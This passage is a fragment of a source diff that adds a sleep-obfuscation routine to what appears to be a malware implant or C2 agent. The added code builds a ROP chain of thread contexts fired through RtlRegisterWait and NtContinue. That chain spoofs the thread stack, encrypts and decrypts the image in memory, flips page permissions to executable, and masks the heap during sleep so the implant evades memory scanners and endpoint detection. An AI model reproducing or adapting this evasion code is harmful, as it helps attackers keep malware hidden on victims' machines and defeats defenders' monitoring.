Ctx[3].Rcx = (ULONG_PTR)(Thread); + Ctx[3].Rdx = (ULONG_PTR)(&CtxBackup); + + /* Spoof of current thread stack */ + Ctx[4].Rip = (ULONG_PTR)(g_Win32.Nt.NtSetContextThread); + Ctx[4].Rcx = (ULONG_PTR)(Thread); + Ctx[4].Rdx = (ULONG_PTR)(&CtxSpoof); + + /* Sleep */ + Ctx[5].Rip = (ULONG_PTR)(g_Win32.K32.WaitForSingleObjectEx); + Ctx[5].Rcx = (ULONG_PTR)(NtCurrentProcess()); + Ctx[5].Rdx = (ULONG_PTR)(dwTimeout); + Ctx[5].R8 = (ULONG_PTR)(FALSE); + + /* Restore thread context from backup */ + Ctx[6].Rip = (ULONG_PTR)(g_Win32.Nt.NtSetContextThread); + Ctx[6].Rcx = (ULONG_PTR)(Thread); + Ctx[6].Rdx = (ULONG_PTR)(&CtxBackup); + + /* Decrypt image base address */ + Ctx[7].Rip = (ULONG_PTR)(g_Win32.CryptBase.SystemFunction041); + Ctx[7].Rcx = (ULONG_PTR)(ImageBase); + Ctx[7].Rdx = (ULONG_PTR)(SizeOfImage); + + /* Change memory permission to RX */ + Ctx[8].Rip = (ULONG_PTR)(g_Win32.K32.VirtualProtect); + Ctx[8].Rcx = (ULONG_PTR)(ImageBase); + Ctx[8].Rdx = (ULONG_PTR)(SizeOfImage); + Ctx[8].R8 = (ULONG_PTR)(PAGE_EXECUTE_READ); + Ctx[8].R9 = (ULONG_PTR)(&Protect); + + /* End of ropchain */ + Ctx[9].Rip = (ULONG_PTR)(g_Win32.K32.SetEvent); + Ctx[9].Rcx = (ULONG_PTR)(EventEnd); + + /* Mask heap */ +#ifdef DEBUG + DBGPRINT("[*] Masking The Heap Blocks \n"); +#endif + MaskHeap(Key, ThreadId, TRUE); + +#ifdef DEBUG + DBGPRINT("[*] Queuing ROP Chain \n"); +#endif + /* Execute Timers */ + for (int i = 0; i < ARRAYSIZE(Ctx); i++) { + if (!NT_SUCCESS(Status = g_Win32.Nt.RtlRegisterWait(&Timer, EventWait, (WAITORTIMERCALLBACKFUNC)g_Win32.Nt.NtContinue, &Ctx[i], Delay += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE))) { +#ifdef DEBUG + DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + } + +#ifdef DEBUG + DBGPRINT("\n[*] Triggering Sleep Obfuscation \n"); +#endif + Status = g_Win32.Nt.NtSignalAndWaitForSingleObject(EventStart, EventEnd, FALSE, nullptr); + + /* Unmask heap */ +#ifdef DEBUG + DBGPRINT("\n[*] Unmasking The Heap Blocks \n"); +#endif + MaskHeap(Key, ThreadId, FALSE); + + if (!NT_SUCCESS(Status)) { +#ifdef DEBUG + DBGPRINT("[-] NtSignalAndWaitForSingleObject Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + goto Leave; + } + } else { +#ifdef DEBUG + DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + } + } else { +#ifdef DEBUG + DBGPRINT("[-] RtlRegisterWait Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + } + +#ifdef DEBUG + DBGPRINT("\n[+] Sleep Cycle Complete \n"); +#endif + +Leave: + if (EventTimer) { + Macro::DeleteHandle(EventTimer); + } + + if (EventStart) { + Macro::DeleteHandle(EventStart); + } + + if (EventWait) { + Macro::DeleteHandle(EventWait); + } + + if (EventEnd) { + Macro::DeleteHandle(EventEnd); + } + + if (Thread) { + Macro::DeleteHandle(Thread); + } +} \ No newline at end of file